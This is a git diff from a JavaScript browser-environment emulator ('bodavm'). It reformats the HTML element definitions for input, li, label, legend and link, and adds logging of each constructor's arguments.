+bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionDirection", { + configurable: true, + enumerable: true, + get: function selectionDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_get", arguments); + }, + set: function selectionDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "useMap", { + configurable: true, + enumerable: true, + get: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_get", arguments); + }, + set: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitdirectory", { + configurable: true, + enumerable: true, + get: function webkitdirectory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_get", arguments); + }, + set: function webkitdirectory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "incremental", { + configurable: true, + enumerable: true, + get: function incremental() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_get", arguments); + }, + set: function incremental() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "select", { + configurable: true, + enumerable: true, + writable: true, + value: function select() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "select", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setCustomValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "setRangeText", { + configurable: true, + enumerable: true, + writable: true, + value: function setRangeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setRangeText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "setSelectionRange", { + configurable: true, + enumerable: true, + writable: true, + value: function setSelectionRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setSelectionRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "showPicker", { + configurable: true, + enumerable: true, + writable: true, + value: function showPicker() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "showPicker", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepDown", { + configurable: true, + enumerable: true, + writable: true, + value: function stepDown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepDown", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepUp", { + configurable: true, + enumerable: true, + writable: true, + value: function stepUp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepUp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitEntries", { + configurable: true, + enumerable: true, + get: function webkitEntries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitEntries_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLLIElement.js b/env_xbb_lastest_jsdom/env/HTMLLIElement.js index cdae3ddb..1f125ea9 100644 --- a/env_xbb_lastest_jsdom/env/HTMLLIElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLLIElement.js @@ -1,7 +1,39 @@ -// HTMLLIElement对象 -bodavm.memory.globalobj['HTMLLIElement'] = function HTMLLIElement(){if (!(this instanceof HTMLLIElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLIElement'], "HTMLLIElement"); -bodavm.memory.globalobj['HTMLLIElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLLIElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLLIElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLIElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_set", arguments)}},'prototype'); +// HTMLLIElement对象 + +bodavm.memory.globalobj['HTMLLIElement'] = function HTMLLIElement() { + console.log_copy('HTMLLIElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLLIElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLIElement'], "HTMLLIElement"); +bodavm.memory.globalobj['HTMLLIElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLIElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLIElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLIElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLLabelElement.js b/env_xbb_lastest_jsdom/env/HTMLLabelElement.js index 8c2e440f..8e31e9f0 100644 --- a/env_xbb_lastest_jsdom/env/HTMLLabelElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLLabelElement.js @@ -1,8 +1,45 @@ -// HTMLLabelElement对象 -bodavm.memory.globalobj['HTMLLabelElement'] = function HTMLLabelElement(){if (!(this instanceof HTMLLabelElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLabelElement'], "HTMLLabelElement"); -bodavm.memory.globalobj['HTMLLabelElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLLabelElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLLabelElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLabelElement', "htmlFor", {configurable:true, enumerable:true, get:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "htmlFor_get", arguments)}, set:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "htmlFor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLabelElement', "control", {configurable:true, enumerable:true, get:function control (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "control_get", arguments)}, set:undefined},'prototype'); +// HTMLLabelElement对象 + +bodavm.memory.globalobj['HTMLLabelElement'] = function HTMLLabelElement() { + console.log_copy('HTMLLabelElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLLabelElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLabelElement'], "HTMLLabelElement"); +bodavm.memory.globalobj['HTMLLabelElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLabelElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLabelElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLabelElement', "htmlFor", { + configurable: true, + enumerable: true, + get: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "htmlFor_get", arguments); + }, + set: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "htmlFor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLabelElement', "control", { + configurable: true, + enumerable: true, + get: function control() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "control_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLLegendElement.js b/env_xbb_lastest_jsdom/env/HTMLLegendElement.js index 7128acba..38fecf0e 100644 --- a/env_xbb_lastest_jsdom/env/HTMLLegendElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLLegendElement.js @@ -1,7 +1,37 @@ -// HTMLLegendElement对象 -bodavm.memory.globalobj['HTMLLegendElement'] = function HTMLLegendElement(){if (!(this instanceof HTMLLegendElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLegendElement'], "HTMLLegendElement"); -bodavm.memory.globalobj['HTMLLegendElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLLegendElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLLegendElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLegendElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_set", arguments)}},'prototype'); +// HTMLLegendElement对象 + +bodavm.memory.globalobj['HTMLLegendElement'] = function HTMLLegendElement() { + console.log_copy('HTMLLegendElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLLegendElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLegendElement'], "HTMLLegendElement"); +bodavm.memory.globalobj['HTMLLegendElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLegendElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLegendElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLegendElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLLinkElement.js b/env_xbb_lastest_jsdom/env/HTMLLinkElement.js index 278efa23..f54e6621 100644 --- a/env_xbb_lastest_jsdom/env/HTMLLinkElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLLinkElement.js @@ -1,25 +1,217 @@ -// HTMLLinkElement对象 -bodavm.memory.globalobj['HTMLLinkElement'] = function HTMLLinkElement(){if (!(this instanceof HTMLLinkElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLinkElement'], "HTMLLinkElement"); -bodavm.memory.globalobj['HTMLLinkElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLLinkElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "hreflang", {configurable:true, enumerable:true, get:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_get", arguments)}, set:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "as", {configurable:true, enumerable:true, get:function as (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_get", arguments)}, set:function as (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSrcset", {configurable:true, enumerable:true, get:function imageSrcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_get", arguments)}, set:function imageSrcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSizes", {configurable:true, enumerable:true, get:function imageSizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_get", arguments)}, set:function imageSizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_get", arguments)}, set:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rev", {configurable:true, enumerable:true, get:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_get", arguments)}, set:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sheet", {configurable:true, enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "integrity", {configurable:true, enumerable:true, get:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_get", arguments)}, set:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "blocking", {configurable:true, enumerable:true, get:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "blocking_get", arguments)}, set:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "blocking_set", arguments)}},'prototype'); +// HTMLLinkElement对象 + +bodavm.memory.globalobj['HTMLLinkElement'] = function HTMLLinkElement() { + console.log_copy('HTMLLinkElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLLinkElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLinkElement'], "HTMLLinkElement"); +bodavm.memory.globalobj['HTMLLinkElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLinkElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rel", { + configurable: true, + enumerable: true, + get: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_get", arguments); + }, + set: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "relList", { + configurable: true, + enumerable: true, + get: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_get", arguments); + }, + set: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "hreflang", { + configurable: true, + enumerable: true, + get: function hreflang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_get", arguments); + }, + set: function hreflang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "as", { + configurable: true, + enumerable: true, + get: function as() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_get", arguments); + }, + set: function as() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sizes", { + configurable: true, + enumerable: true, + get: function sizes() { + return 